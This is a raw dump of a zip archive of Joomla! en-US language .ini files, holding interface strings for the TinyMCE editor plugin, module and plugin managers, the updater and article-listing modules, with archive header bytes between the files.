            These options only apply in Extended mode." PLG_TINY_FIELD_NEWLINES_DESC="New lines will be created using the selected option." PLG_TINY_FIELD_NEWLINES_LABEL="New Lines" PLG_TINY_FIELD_NONBREAKING_DESC="Insert nonbreaking space entities" PLG_TINY_FIELD_NONBREAKING_LABEL="Nonbreaking" PLG_TINY_FIELD_PASTE_DESC="Show/Hide the Paste buttons. Only applies in Extended mode" PLG_TINY_FIELD_PASTE_LABEL="Paste" PLG_TINY_FIELD_PATH_DESC="If set to ON, it displays the set classes for the marked text." PLG_TINY_FIELD_PATH_LABEL="Element Path" PLG_TINY_FIELD_PROHIBITED_DESC="Elements that will be cleaned from the text. Do not leave empty - if you do not want to prohibit anything enter dummy text e.g.cms" PLG_TINY_FIELD_PROHIBITED_LABEL="Prohibited Elements" PLG_TINY_FIELD_RESIZE_HORIZONTAL_DESC="Enable/disable the horizontal resizing." PLG_TINY_FIELD_RESIZE_HORIZONTAL_LABEL="Horizontal resizing" PLG_TINY_FIELD_RESIZING_DESC="Enable/disable the resizing button." PLG_TINY_FIELD_RESIZING_LABEL="Resizing" PLG_TINY_FIELD_RTL_DESC="Select whether to display the RTL button. Only Works in Extended mode" PLG_TINY_FIELD_RTL_LABEL="Directionality" PLG_TINY_FIELD_SAVEWARNING_DESC="Save Warning: gives warning if you cancel without saving changes." PLG_TINY_FIELD_SAVEWARNING_LABEL="Save Warning" PLG_TINY_FIELD_SEARCH-REPLACE_DESC="Show/Hide the Search & Replace button. Only works in Extended mode." PLG_TINY_FIELD_SEARCH-REPLACE_LABEL="Search-Replace" PLG_TINY_FIELD_SKIN_DESC="Select skin" PLG_TINY_FIELD_SKIN_LABEL="Skin" PLG_TINY_FIELD_SMILIES_DESC="Show/Hide the smilies buttons. Only works in Extended mode." PLG_TINY_FIELD_SMILIES_LABEL="Smilies" PLG_TINY_FIELD_STYLE_DESC="Show/Hide the CSS Style control button. Only works in Extended mode." PLG_TINY_FIELD_STYLE_LABEL="Style" PLG_TINY_FIELD_TABLE_DESC="Show/Hide the table control buttons. Only works in Extended mode." PLG_TINY_FIELD_TABLE_LABEL="Table" PLG_TINY_FIELD_TEMPLATE_DESC="Show/Hide the Insert predefined template content button. Only applies in Extended mode." PLG_TINY_FIELD_TEMPLATE_LABEL="Template" PLG_TINY_FIELD_TIME_DESC="Show/Hide the Insert Time button. Only works in Extended mode." PLG_TINY_FIELD_TIME_LABEL="Insert Time" PLG_TINY_FIELD_TIMEFORMAT_DESC="Format of inserted time. Only works in Extended Mode" PLG_TINY_FIELD_TIMEFORMAT_LABEL="Time Format" PLG_TINY_FIELD_TOOLBAR_ALIGN_DESC="Alignment of the toolbar" PLG_TINY_FIELD_TOOLBAR_ALIGN_LABEL="Toolbar align" PLG_TINY_FIELD_TOOLBAR_DESC="Position of the toolbar" PLG_TINY_FIELD_TOOLBAR_LABEL="Toolbar" PLG_TINY_FIELD_URLS_DESC="URL behaviour" PLG_TINY_FIELD_URLS_LABEL="URLs" PLG_TINY_FIELD_VALUE_ABSOLUTE="Absolute" PLG_TINY_FIELD_VALUE_ADVANCED="Advanced" PLG_TINY_FIELD_VALUE_ALWAYS="Always" PLG_TINY_FIELD_VALUE_BLACK="Office2007 Black" PLG_TINY_FIELD_VALUE_BLUE="Office2007 Blue" PLG_TINY_FIELD_VALUE_BOTTOM="Bottom" PLG_TINY_FIELD_VALUE_BR="BR Elements" PLG_TINY_FIELD_VALUE_CENTER="Center" PLG_TINY_FIELD_VALUE_DEFAULT="Default" PLG_TINY_FIELD_VALUE_EXTENDED="Extended" PLG_TINY_FIELD_VALUE_FRONT="Front Only" PLG_TINY_FIELD_VALUE_LEFT="Left" PLG_TINY_FIELD_VALUE_LTR="Left to Right" PLG_TINY_FIELD_VALUE_NAMED="named" PLG_TINY_FIELD_VALUE_NEVER="Never" PLG_TINY_FIELD_VALUE_NUMERIC="numeric" PLG_TINY_FIELD_VALUE_P="P Elements" PLG_TINY_FIELD_VALUE_RAW="raw" PLG_TINY_FIELD_VALUE_RELATIVE="Relative" PLG_TINY_FIELD_VALUE_RIGHT="Right" PLG_TINY_FIELD_VALUE_RTL="Right to Left" PLG_TINY_FIELD_VALUE_SILVER="Office2007 Silver" PLG_TINY_FIELD_VALUE_SIMPLE="Simple" PLG_TINY_FIELD_VALUE_TOP="Top" PLG_TINY_FIELD_VISUALCHARS_DESC="Possibility to see invisible characters, specifically non-breaking spaces." PLG_TINY_FIELD_VISUALCHARS_LABEL="Visualchars" PLG_TINY_FIELD_VISUALBLOCKS_DESC="Possibility to see the outline of HTML block elements." PLG_TINY_FIELD_VISUALBLOCKS_LABEL="Visualblocks" PLG_TINY_FIELD_WORDCOUNT_DESC="Turn on/off Wordcount" PLG_TINY_FIELD_WORDCOUNT_LABEL="Wordcount" PLG_TINY_FIELD_XHTMLXTRAS_DESC="Show/Hide the additional XHTML features. Only works in Extended mode." PLG_TINY_FIELD_XHTMLXTRAS_LABEL="XHTMLxtras" PLG_TINY_XML_DESCRIPTION="TinyMCE is a platform-independent Web-based JavaScript HTML WYSIWYG Editor control." PK@y>\ sk2language/en-US/en-US.plg_authentication_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTH_JOOMLA_XML_DESCRIPTION="Handles Joomla's default User authentication
            Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PLG_AUTHENTICATION_JOOMLA="Authentication - Joomla"PK@y>\\r+language/en-US/en-US.plg_system_sef.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEF_XML_DESCRIPTION="Adds SEF support to links in the document. It operates directly on the HTML and does not require a special tag." PLG_SYSTEM_SEF="System - SEF"PK@y>\a&:33+language/en-US/en-US.plg_system_log.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_LOG_XML_DESCRIPTION="Provides System Logging" PLG_SYSTEM_LOG="System - Log"PK@y>\{6'GG(language/en-US/en-US.com_plugins.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_PLUGINS="Plugins Manager" COM_PLUGINS_XML_DESCRIPTION="This component manages Joomla! plugins" PK@y>\ $language/en-US/en-US.mod_popular.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_POPULAR="Popular Articles" MOD_POPULAR_CREATED="Created" MOD_POPULAR_FIELD_AUTHORS_DESC="A filter for the Authors" MOD_POPULAR_FIELD_AUTHORS_LABEL="Authors" MOD_POPULAR_FIELD_CATEGORY_DESC="Select Articles from a specific Category or set of Categories." MOD_POPULAR_FIELD_COUNT_DESC="The number of items to display (default 5)" MOD_POPULAR_FIELD_COUNT_LABEL="Count" MOD_POPULAR_FIELD_VALUE_ADDED_OR_MODIFIED_BY_ME="Added or modified by me" MOD_POPULAR_FIELD_VALUE_ANYONE="Anyone" MOD_POPULAR_FIELD_VALUE_NOT_ADDED_OR_MODIFIED_BY_ME="Not added or modified by me" MOD_POPULAR_ITEMS="Popular Items" MOD_POPULAR_NO_MATCHING_RESULTS="No Matching Results" MOD_POPULAR_TITLE="Popular Articles" MOD_POPULAR_TITLE_1="Top Popular Article" MOD_POPULAR_TITLE_MORE="Top %1$s Popular Articles" MOD_POPULAR_TITLE_BY_ME="Top Popular Articles By Me" MOD_POPULAR_TITLE_BY_ME_1="Top Popular Article By Me" MOD_POPULAR_TITLE_BY_ME_MORE="Top %1$s Popular Articles By Me" MOD_POPULAR_TITLE_NOT_ME="Top Popular Articles Not By Me" MOD_POPULAR_TITLE_NOT_ME_1="Top Popular Article Not By Me" MOD_POPULAR_TITLE_NOT_ME_MORE="Top %1$s Popular Articles Not By Me" MOD_POPULAR_TITLE_CATEGORY="Top Popular Articles (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_1="Top Popular Article (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_MORE="Top %1$s Popular Articles (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_BY_ME="Top Popular Articles By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_1="Top Popular Article By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_BY_ME_MORE="Top %1$s Popular Articles By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME="Top Popular Articles Not By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_1="Top Popular Article Not By Me (%2$s category)" MOD_POPULAR_TITLE_CATEGORY_NOT_ME_MORE="Top %1$s Popular Articles Not By Me (%2$s category)" MOD_POPULAR_UNEXISTING="Unexisting" MOD_POPULAR_XML_DESCRIPTION="This Module shows a list of the most popular published Articles that are still current. Some that are shown may have expired even though they are the most recent." PK@y>\^"8$language/en-US/en-US.com_wrapper.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_WRAPPER="Wrapper" COM_WRAPPER_FIELD_ADD_DESC="By default, http:// will be added unless it detects http:// or https:// in the URL you provide. This allows you to switch off this functionality." COM_WRAPPER_FIELD_ADD_LABEL="Auto add" COM_WRAPPER_FIELD_FRAME_DESC="Show frame border which wrap the iframe" COM_WRAPPER_FIELD_FRAME_LABEL="Frame border" COM_WRAPPER_FIELD_HEIGHT_DESC="Height of the IFrame window in pixels" COM_WRAPPER_FIELD_HEIGHT_LABEL="Height" COM_WRAPPER_FIELD_HEIGHTAUTO_DESC="If height is set to auto, the height will automatically be set to the size of the external page. This will only work for pages on your own domain. If you see a JavaScript error, make sure this parameter is disabled. This will break XHTML compatibility for this page." COM_WRAPPER_FIELD_HEIGHTAUTO_LABEL="Auto height" COM_WRAPPER_FIELD_LABEL_SCROLLBARSPARAMS="Scroll bars parameters" COM_WRAPPER_FIELD_SCROLLBARS_DESC="Show/Hide the horizontal & vertical scrollbars. If you choose 'Auto', make sure the Auto advanced parameter is set." COM_WRAPPER_FIELD_SCROLLBARS_LABEL="Scroll Bars" COM_WRAPPER_FIELD_URL_DESC="URL to site/file you wish to display within the iframe." COM_WRAPPER_FIELD_URL_LABEL="URL" COM_WRAPPER_FIELD_VALUE_AUTO="Auto" COM_WRAPPER_FIELD_WIDTH_DESC="Width of the iframe window. You may enter an absolute figure in pixels or a relative figure by adding a %." COM_WRAPPER_XML_DESCRIPTION="Displays an iframe to wrap an external page or site into Joomla!" PK@y>\/ g'language/en-US/en-US.mod_custom.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="Custom HTML" MOD_CUSTOM_XML_DESCRIPTION="This Module allows you to create your own HTML Module using a WYSIWYG editor." MOD_CUSTOM_LAYOUT_DEFAULT="Default" PK@y>\iS )language/en-US/en-US.com_joomlaupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_DESC="This is a custom XML update source URL, used only when the "_QQ_"Update Source"_QQ_" option is set to "_QQ_"Custom URL"_QQ_"." COM_JOOMLAUPDATE_CONFIG_CUSTOMURL_LABEL="Custom URL" COM_JOOMLAUPDATE_CONFIG_SOURCES_DESC="Configure where Joomla! gets its update information from" COM_JOOMLAUPDATE_CONFIG_SOURCES_LABEL="Update Source" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_CUSTOM="Custom URL" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_DESC="The update server Joomla! will use to find out if there is an update available" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LABEL="Update server" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_LTS="Long Term Support (recommended)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_NOCHANGE="Currently configured (no change)" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_STS="Short Term Support" COM_JOOMLAUPDATE_CONFIG_UPDATESOURCE_TESTING="Testing" COM_JOOMLAUPDATE_CONFIGURATION="Joomla! Update Configuration" COM_JOOMLAUPDATE_OVERVIEW="Joomla! Update" COM_JOOMLAUPDATE_VIEW_COMPLETE_HEADING="Joomla! Version Update Status" COM_JOOMLAUPDATE_VIEW_COMPLETE_MESSAGE="Your site has been successfully updated. Your Joomla version is now %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_DOWNLOAD_IN_PROGRESS="Downloading update file. Please wait ..." COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_DIRECTORY="FTP directory" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_HOSTNAME="FTP host" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PASSWORD="FTP password" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_PORT="FTP port" COM_JOOMLAUPDATE_VIEW_DEFAULT_FTP_USERNAME="FTP username" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLED="Installed Joomla! version" COM_JOOMLAUPDATE_VIEW_DEFAULT_INSTALLUPDATE="Install the update" COM_JOOMLAUPDATE_VIEW_DEFAULT_LATEST="Latest Joomla! version" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_DIRECT="Write files directly" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD_FTP="Write files using FTP" COM_JOOMLAUPDATE_VIEW_DEFAULT_METHOD="Installation method" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATES="No updates available" COM_JOOMLAUPDATE_VIEW_DEFAULT_NOUPDATESNOTICE="You already have the latest Joomla! version, %s." COM_JOOMLAUPDATE_VIEW_DEFAULT_PACKAGE="Update package URL" COM_JOOMLAUPDATE_VIEW_DEFAULT_UPDATEFOUND="A Joomla! update was found" COM_JOOMLAUPDATE_VIEW_PROGRESS="Update progress" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESEXTRACTED="Bytes extracted" COM_JOOMLAUPDATE_VIEW_UPDATE_BYTESREAD="Bytes read" COM_JOOMLAUPDATE_VIEW_UPDATE_DOWNLOADFAILED="Download of update package failed" COM_JOOMLAUPDATE_VIEW_UPDATE_FILESEXTRACTED="Files extracted" COM_JOOMLAUPDATE_VIEW_UPDATE_INPROGRESS="Updating your Joomla! files. Please wait ..." COM_JOOMLAUPDATE_VIEW_UPDATE_PERCENT="Percent complete" COM_JOOMLAUPDATE_XML_DESCRIPTION="Updates Joomla! to the latest version with one click" PK@y>\1#language/en-US/en-US.mod_latest.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LATEST="Latest News" MOD_LATEST_CREATED="Created" MOD_LATEST_CREATED_BY="Created By" MOD_LATEST_FIELD_AUTHORS_DESC="A filter for the Authors" MOD_LATEST_FIELD_AUTHORS_LABEL="Authors" MOD_LATEST_FIELD_CATEGORY_DESC="Select Articles from a specific Category or set of Categories." MOD_LATEST_FIELD_COUNT_DESC="The number of items to display (default 5)" MOD_LATEST_FIELD_COUNT_LABEL="Count" MOD_LATEST_FIELD_ORDERING_DESC="Ordering options" MOD_LATEST_FIELD_ORDERING_LABEL="Order" MOD_LATEST_FIELD_VALUE_AUTHORS_ANYONE="Anyone" MOD_LATEST_FIELD_VALUE_AUTHORS_BY_ME="Added or modified by me" MOD_LATEST_FIELD_VALUE_AUTHORS_NOT_BY_ME="Not added or modified by me" MOD_LATEST_FIELD_VALUE_ORDERING_ADDED="Recently Added First" MOD_LATEST_FIELD_VALUE_ORDERING_MODIFIED="Recently Modified First" MOD_LATEST_LATEST_ITEMS="Latest Items" MOD_LATEST_NO_MATCHING_RESULTS="No Matching Results" MOD_LATEST_TITLE="Recently Created Articles" MOD_LATEST_TITLE_CREATED="Last Added Articles" MOD_LATEST_TITLE_CREATED_1="Last Added Article" MOD_LATEST_TITLE_CREATED_MORE="Last %1$s Added Articles" MOD_LATEST_TITLE_CREATED_NOT_ME="Last Added Articles Not By Me" MOD_LATEST_TITLE_CREATED_NOT_ME_1="Last Added Article Not By Me" MOD_LATEST_TITLE_CREATED_NOT_ME_MORE="Last %1$s Added Articles Not By Me" MOD_LATEST_TITLE_CREATED_BY_ME="Last Added Articles By Me" MOD_LATEST_TITLE_CREATED_BY_ME_1="Last Added Article By Me" MOD_LATEST_TITLE_CREATED_BY_ME_MORE="Last %1$s Added Articles By Me" MOD_LATEST_TITLE_CREATED_CATEGORY="Last Added Articles (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_1="Last Added Article (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_MORE="Last %1$s Added Articles (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME="Last Added Articles By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_1="Last Added Article By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_BY_ME_MORE="Last %1$s Added Articles By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME="Last Added Articles Not By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_1="Last Added Article Not By Me (%2$s category)" MOD_LATEST_TITLE_CREATED_CATEGORY_NOT_ME_MORE="Last %1$s Added Articles Not By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED="Last Modified Articles" MOD_LATEST_TITLE_MODIFIED_1="Last Modified Article" MOD_LATEST_TITLE_MODIFIED_MORE="Last %1$s Modified Articles" MOD_LATEST_TITLE_MODIFIED_BY_ME="Last Modified Articles By Me" MOD_LATEST_TITLE_MODIFIED_BY_ME_1="Last Modified Article By Me" MOD_LATEST_TITLE_MODIFIED_BY_ME_MORE="Last %1$s Modified Articles By Me" MOD_LATEST_TITLE_MODIFIED_NOT_ME="Last Modified Articles Not By Me" MOD_LATEST_TITLE_MODIFIED_NOT_ME_1="Last Modified Article Not By Me" MOD_LATEST_TITLE_MODIFIED_NOT_ME_MORE="Last %1$s Modified Articles Not By Me" MOD_LATEST_TITLE_MODIFIED_CATEGORY="Last Modified Articles (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_1="Last Modified Article (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_MORE="Last %1$s Modified Articles (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME="Last Modified Articles By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_1="Last Modified Article By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_BY_ME_MORE="Last %1$s Modified Articles By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME="Last Modified Articles Not By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_1="Last Modified Article Not By Me (%2$s category)" MOD_LATEST_TITLE_MODIFIED_CATEGORY_NOT_ME_MORE="Last %1$s Modified Articles Not By Me (%2$s category)" MOD_LATEST_UNEXISTING="Unexisting" MOD_LATEST_XML_DESCRIPTION="This Module shows a list of the most recently published Articles that are still current. Some that are shown may have expired even though they are the most recent." PK@y>\Ԟzz0language/en-US/en-US.plg_editors_tinymce.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_TINYMCE="Editor - TinyMCE" PLG_TINY_XML_DESCRIPTION="TinyMCE is a platform-independent Web-based JavaScript HTML WYSIWYG Editor control." PK@y>\N~~'language/en-US/en-US.mod_logged.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGGED="Logged-in Users" MOD_LOGGED_XML_DESCRIPTION="This Module shows a list of the currently Logged-in Users" MOD_LOGGED_LAYOUT_DEFAULT="Default" PK@y>\$$$language/en-US/en-US.com_modules.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MODULES="Modules Manager" COM_MODULES_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_MODULES_ASSIGNED_VARIES_EXCEPT="All except selected" COM_MODULES_ASSIGNED_VARIES_ONLY="Selected only" COM_MODULES_BASIC_FIELDSET_LABEL="Basic Options" COM_MODULES_BATCH_POSITION_LABEL="Set Position" COM_MODULES_BATCH_POSITION_NOCHANGE="Keep original Position" COM_MODULES_BATCH_POSITION_NOPOSITION="No Module Position" COM_MODULES_BATCH_OPTIONS="Batch process the selected modules" COM_MODULES_BATCH_TIP="If choosing to copy a module, any other actions selected will be applied to the copied module. Otherwise, all actions are applied to the selected module. When copying and not changing position, it is nevertheless necessary to select 'Keep Original Position' in the dropdown" COM_MODULES_CHANGE_POSITION_BUTTON="Select position" COM_MODULES_CHANGE_POSITION_TITLE="Change position" COM_MODULES_CONFIGURATION="Module Manager Options" COM_MODULES_CUSTOM_OUTPUT="Custom output" COM_MODULES_ERR_XML="Module XML data not available" COM_MODULES_ERROR_CANNOT_FIND_MODULE="Cannot find module" COM_MODULES_ERROR_CANNOT_GET_MODULE="Cannot get module" COM_MODULES_ERROR_INVALID_EXTENSION="Invalid module" COM_MODULES_ERROR_NO_MODULES_SELECTED="No module selected" COM_MODULES_EXTENSION_PUBLISHED_DISABLED="Module disabled and published" COM_MODULES_EXTENSION_PUBLISHED_ENABLED="Module enabled and published" COM_MODULES_EXTENSION_UNPUBLISHED_DISABLED="Module disabled and unpublished" COM_MODULES_EXTENSION_UNPUBLISHED_ENABLED="Module enabled and unpublished" COM_MODULES_FIELD_AUTOMATIC_TITLE_LABEL="Automatic title" COM_MODULES_FIELD_AUTOMATIC_TITLE_DESC="Set yes if you want an automatic translated title. Its use depends on the administrator template." COM_MODULES_FIELD_CACHE_TIME_DESC="The time before the module is recached" COM_MODULES_FIELD_CACHE_TIME_LABEL="Cache Time" COM_MODULES_FIELD_CACHING_DESC="Select whether to cache the content of this module" COM_MODULES_FIELD_CACHING_LABEL="Caching" COM_MODULES_FIELD_CLIENT_ID_DESC="The location of the module, frontend or backend. You cannot change this value." COM_MODULES_FIELD_CLIENT_ID_LABEL="Module Location" COM_MODULES_FIELD_CONTENT_DESC="Text" COM_MODULES_FIELD_CONTENT_LABEL="Text" COM_MODULES_FIELD_MODULE_DESC="Module type" COM_MODULES_FIELD_MODULE_LABEL="Module Type" COM_MODULES_FIELD_MODULECLASS_SFX_DESC="A suffix to be applied to the CSS class of the module. This allows for individual module styling." COM_MODULES_FIELD_MODULECLASS_SFX_LABEL="Module Class Suffix" COM_MODULES_FIELD_NOTE_DESC="An optional note to display in module list." COM_MODULES_FIELD_NOTE_LABEL="Note" COM_MODULES_FIELD_POSITION_DESC="You may select a module position from the modal display of pre-defined positions where you can filter by type and template, or enter your own module position by typing the name in the field and Save." COM_MODULES_FIELD_POSITION_LABEL="Position" COM_MODULES_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the module." COM_MODULES_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" COM_MODULES_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the module." COM_MODULES_FIELD_PUBLISH_UP_LABEL="Start Publishing" COM_MODULES_FIELD_PUBLISHED_DESC="If published, this module will display on your site frontend or backend depending on the module." COM_MODULES_FIELD_SHOWTITLE_DESC="Show/Hide module title on display. Effect will depend on the chrome style in the template." COM_MODULES_FIELD_SHOWTITLE_LABEL="Show Title" COM_MODULES_FIELD_TITLE_DESC="Module must have a title" COM_MODULES_FIELD_VALUE_NOCACHING="No caching" COM_MODULES_FILTER_SEARCH_DESC="Filter by position name." COM_MODULES_HEADING_MODULE="Type" COM_MODULES_HEADING_PAGES="Pages" COM_MODULES_HEADING_POSITION="Position" COM_MODULES_HEADING_TEMPLATES="Templates" COM_MODULES_HTML_PUBLISH_DISABLED="Publish module::Extension disabled" COM_MODULES_HTML_PUBLISH_ENABLED="Publish module::Extension enabled" COM_MODULES_HTML_UNPUBLISH_DISABLED="Unpublish module::Extension disabled" COM_MODULES_HTML_UNPUBLISH_ENABLED="Unpublish module::Extension enabled" COM_MODULES_MANAGER_MODULE="Module Manager: Module %s" COM_MODULES_MANAGER_MODULES="Module Manager: Modules" COM_MODULES_MENU_ASSIGNMENT="Menu Assignment" COM_MODULES_MODULE_ASSIGN="Module Assignment" COM_MODULES_MODULE_DESCRIPTION="Module Description" COM_MODULES_MODULE_TEMPLATE_POSITION="%1$s (%2$s)" COM_MODULES_MODULES_FILTER_SEARCH_DESC="Search in module title." COM_MODULES_MSG_MANAGE_NO_MODULES="There are no modules installed matching your query" COM_MODULES_N_ITEMS_ARCHIVED="%d modules successfully archived" COM_MODULES_N_ITEMS_ARCHIVED_1="%d module successfully archived" COM_MODULES_N_ITEMS_CHECKED_IN_0="No module successfully checked in" COM_MODULES_N_ITEMS_CHECKED_IN_1="%d module successfully checked in" COM_MODULES_N_ITEMS_CHECKED_IN_MORE="%d modules successfully checked in" COM_MODULES_N_ITEMS_DELETED="%d modules successfully deleted" COM_MODULES_N_ITEMS_DELETED_1="%d module successfully deleted" COM_MODULES_N_ITEMS_PUBLISHED="%d modules successfully published" COM_MODULES_N_ITEMS_PUBLISHED_1="%d module successfully published" COM_MODULES_N_ITEMS_TRASHED="%d modules successfully trashed" COM_MODULES_N_ITEMS_TRASHED_1="%d module successfully trashed" COM_MODULES_N_ITEMS_UNPUBLISHED="%d modules successfully unpublished" COM_MODULES_N_ITEMS_UNPUBLISHED_1="%d module successfully unpublished" COM_MODULES_N_MODULES_DUPLICATED="%d modules successfully duplicated" COM_MODULES_N_MODULES_DUPLICATED_1="%d module successfully duplicated" COM_MODULES_NO_ITEM_SELECTED="No modules selected" COM_MODULES_NODESCRIPTION="No description available" COM_MODULES_OPTION_MENU_ALL="On all pages" COM_MODULES_OPTION_MENU_EXCLUDE="On all pages except those selected" COM_MODULES_OPTION_MENU_INCLUDE="Only on the pages selected" COM_MODULES_OPTION_MENU_NONE="No pages" COM_MODULES_OPTION_ORDER_POSITION="%d. %s" COM_MODULES_OPTION_POSITION_TEMPLATE_DEFINED="Template" COM_MODULES_OPTION_POSITION_USER_DEFINED="User" COM_MODULES_OPTION_SELECT_CLIENT="- Select Type -" COM_MODULES_OPTION_SELECT_MODULE="- Select Type -" COM_MODULES_OPTION_SELECT_POSITION="- Select Position -" COM_MODULES_OPTION_SELECT_TYPE="- Select type -" COM_MODULES_POSITION_ANALYTICS="Analytics" COM_MODULES_POSITION_BANNER="Banner" COM_MODULES_POSITION_BOTTOM="Bottom" COM_MODULES_POSITION_BREADCRUMB="Breadcrumb" COM_MODULES_POSITION_BREADCRUMBS="Breadcrumbs" COM_MODULES_POSITION_DEBUG="Debug" COM_MODULES_POSITION_FOOTER="Footer" COM_MODULES_POSITION_HEADER="Header" COM_MODULES_POSITION_LEFT2="Left 2" COM_MODULES_POSITION_LEFT="Left" COM_MODULES_POSITION_MAINNAV="Main Navigation" COM_MODULES_POSITION_NAV="Navigation" COM_MODULES_POSITION_OFFLINE="Offline" COM_MODULES_POSITION_POSITION-0="Position 0" COM_MODULES_POSITION_POSITION-10="Position 10" COM_MODULES_POSITION_POSITION-11="Position 11" COM_MODULES_POSITION_POSITION-12="Position 12" COM_MODULES_POSITION_POSITION-13="Position 13" COM_MODULES_POSITION_POSITION-14="Position 14" COM_MODULES_POSITION_POSITION-15="Position 15" COM_MODULES_POSITION_POSITION-1="Position 1" COM_MODULES_POSITION_POSITION-2="Position 2" COM_MODULES_POSITION_POSITION-3="Position 3" COM_MODULES_POSITION_POSITION-4="Position 4" COM_MODULES_POSITION_POSITION-5="Position 5" COM_MODULES_POSITION_POSITION-6="Position 6" COM_MODULES_POSITION_POSITION-7="Position 7" COM_MODULES_POSITION_POSITION-8="Position 8" COM_MODULES_POSITION_POSITION-9="Position 9" COM_MODULES_POSITION_RIGHT2="Right 2" COM_MODULES_POSITION_RIGHT="Right" COM_MODULES_POSITION_SUB1="Sub 1" COM_MODULES_POSITION_SUB2="Sub 2" COM_MODULES_POSITION_SUB3="Sub 3" COM_MODULES_POSITION_SUB4="Sub 4" COM_MODULES_POSITION_SUB5="Sub 5" COM_MODULES_POSITION_SUB6="Sub 6" COM_MODULES_POSITION_SUB="Sub" COM_MODULES_POSITION_SUBNAV="Sub Navigation" COM_MODULES_POSITION_SYNDICATE="Syndicate" COM_MODULES_POSITION_TOP2="Top 2" COM_MODULES_POSITION_TOP3="Top 3" COM_MODULES_POSITION_TOP4="Top 4" 